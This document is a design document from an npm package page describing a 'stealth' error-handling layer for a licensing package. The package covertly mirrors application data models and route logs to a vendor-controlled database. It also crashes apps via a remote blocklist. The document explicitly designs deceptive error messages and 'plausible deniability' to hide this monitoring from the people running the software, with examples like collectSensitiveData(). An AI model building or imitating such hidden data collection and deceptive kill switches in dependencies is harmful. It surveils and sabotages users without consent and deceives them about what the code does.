UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

245 lines (202 loc) 8.19 kB
# Comprehensive Error Handling Implementation ## Overview This document describes the comprehensive error handling system implemented for the Backend Protection Enhancement. The system addresses three key requirements: - **Requirement 9.3**: Stealth error handling that fails silently without exposing monitoring - **Requirement 8.2**: Generic error messages for blocked sources - **Requirement 6.5**: Network failure handling with offline queuing ## Components ### 1. StealthErrorHandler The core error handling component that provides: #### Stealth Error Handling (Requirement 9.3) - **Silent Failure**: All monitoring operations fail silently without exposing the monitoring system - **Internal Logging**: Errors are logged internally for debugging but never exposed to clients - **Plausible Error Messages**: Generic, believable error messages that don't reveal monitoring - **Background Processing**: Monitoring operations run in background without affecting application performance ```javascript // Example: Silent monitoring operation const result = await StealthErrorHandler.handleMonitoringOperation( async () => { // Monitoring code that might fail await collectData(); }, { fallbackValue: null } ); // Returns null on failure, never throws or logs to console ``` #### Network Failure Handling with Offline Queuing (Requirement 6.5) - **Exponential Backoff**: Retry failed network operations with increasing delays - **Offline Queuing**: Queue failed operations for later retry when network is restored - **Background Processing**: Process queued operations in background without blocking - **Configurable Retry Logic**: Customizable retry counts, delays, and queue behavior ```javascript // Example: Network operation with retry and queuing const result = await StealthErrorHandler.handleNetworkFailure( async () => { // Network operation that might fail await syncToDatabase(); }, { maxRetries: 3, baseDelay: 1000, maxDelay: 30000, enableQueuing: true, operationName: 'data_sync' } ); ``` #### Generic Error Messages for Blocked Sources (Requirement 8.2) - **Immediate Crash**: Blocked sources cause immediate application termination - **Generic Messages**: Non-revealing error messages that don't expose the blocking system - **Internal Logging**: Block events are logged internally for vendor tracking - **Multiple Block Types**: Handles various blocked source error codes ```javascript // Blocked source detection triggers generic error and crash const blockedError = new SecureGuardError('SOURCE_ID_BLOCKED', ...); await StealthErrorHandler.handleStealth(blockedError, {}); // Outputs: "Application initialization failed. Please contact support." // Then: process.exit(1) ``` ### 2. Enhanced Component Integration #### RemoteBlocker - Uses enhanced network failure handling for blocklist synchronization - Implements retry logic with exponential backoff - Falls back to cached blocklist when network fails - Queues sync operations for later retry #### ModelCloner - Enhanced daily sync with network failure handling - Queues failed model synchronization operations - Provides comprehensive sync statistics including queued operations - Silent failure for all monitoring aspects #### ExpressMonitor - Silent failure for route logging operations - Network retry for database logging - Queuing of failed route logs - No impact on application performance ## Error Categories ### 1. Monitoring Errors (Silent Failure) - `MONITORING_FAILED` - `DATA_COLLECTION_FAILED` - `ROUTE_INJECTION_FAILED` - `MODEL_CLONING_FAILED` - `NETWORK_REQUEST_FAILED` - `DAILY_SYNC_FAILED` - `EXPRESS_INJECTION_FAILED` - `CHAIN_TRACKING_FAILED` ### 2. Blocked Source Errors (Immediate Crash) - `SOURCE_ID_BLOCKED` - `REMOTE_BLOCK_DETECTED` - `UNAUTHORIZED_SOURCE` ### 3. URL Protection Errors (Immediate Crash) - `URL_TAMPER_DETECTED` - `URL_INTEGRITY_FAILED` - `CONNECTION_COMPROMISED` ## Plausible Error Messages The system provides believable error messages that don't reveal monitoring: | Context | Message | |---------|---------| | blocked_source | "Application initialization failed. Please contact support." | | network | "Network optimization routine encountered temporary issue" | | database | "Configuration validation completed with warnings" | | monitoring | "Performance profiling routine finished" | | url_protection | "Configuration integrity check failed" | | model_cloning | "Data synchronization service unavailable" | | express_monitoring | "Request optimization middleware disabled" | | daily_sync | "Scheduled maintenance task completed" | ## Queue Management ### Operation Queuing - Failed network operations are queued for later retry - Queue is processed every 30 seconds in background - Operations have configurable retry limits - Queue automatically cleans up after max retries exceeded ### Queue Statistics ```javascript const stats = StealthErrorHandler.getQueueStats(); // Returns: // { // queueLength: 5, // processorRunning: true, // oldestQueuedOperation: Date // } ``` ## Internal Error Tracking ### Error Statistics - Tracks all internal errors without exposing them - Provides error counts by type and context - Maintains recent error history - Useful for debugging and monitoring ```javascript const stats = StealthErrorHandler.getInternalStats(); // Returns: // { // stealthEnabled: true, // totalInternalErrors: 15, // errorsByType: { 'MONITORING_FAILED': 8, 'NETWORK_REQUEST_FAILED': 7 }, // errorsByContext: { 'model_cloning': 10, 'route_logging': 5 }, // recentErrors: [...] // } ``` ## Usage Examples ### 1. Wrapping Monitoring Operations ```javascript // Wrap any monitoring function for silent failure const wrappedFunction = StealthErrorHandler.wrapWithStealthHandling( async () => { // Monitoring code here await collectSensitiveData(); }, { fallbackValue: null } ); const result = await wrappedFunction(); // Never throws, returns null on failure ``` ### 2. Network Operations with Retry ```javascript // Database sync with retry and queuing const syncResult = await StealthErrorHandler.handleNetworkFailure( async () => { await database.sync(); return { success: true }; }, { maxRetries: 3, baseDelay: 2000, enableQueuing: true, operationName: 'database_sync' } ); ``` ### 3. Handling Blocked Sources ```javascript // Check if source is blocked and handle appropriately const sourceId = ChainTracker.getCurrentSourceId(); const blockStatus = await RemoteBlocker.checkBlocklist(sourceId); if (blockStatus.isBlocked) { // This will crash with generic message const error = new SecureGuardError('SOURCE_ID_BLOCKED', ...); await StealthErrorHandler.handleStealth(error, {}); } ``` ## Testing The error handling system includes comprehensive tests covering: - Silent failure for monitoring operations - Network retry with exponential backoff - Operation queuing and background processing - Blocked source handling with generic messages - Error statistics and tracking - Integration with all major components Run tests with: ```bash npm test -- tests/ErrorHandlingCore.test.js ``` ## Security Considerations 1. **No Information Leakage**: All error messages are generic and don't reveal system internals 2. **Silent Operation**: Monitoring failures never affect application functionality 3. **Immediate Response**: Blocked sources are terminated immediately with no debugging information 4. **Internal Tracking**: All security events are logged internally for vendor analysis 5. **Plausible Deniability**: Error messages provide believable explanations for any observed behavior ## Performance Impact - **Minimal Overhead**: Error handling adds negligible performance impact - **Background Processing**: Queue processing runs in background without blocking - **Efficient Retry**: Exponential backoff prevents excessive retry attempts - **Memory Management**: Error logs and queues have size limits to prevent memory leaks - **Async Operations**: All error handling is asynchronous and non-blocking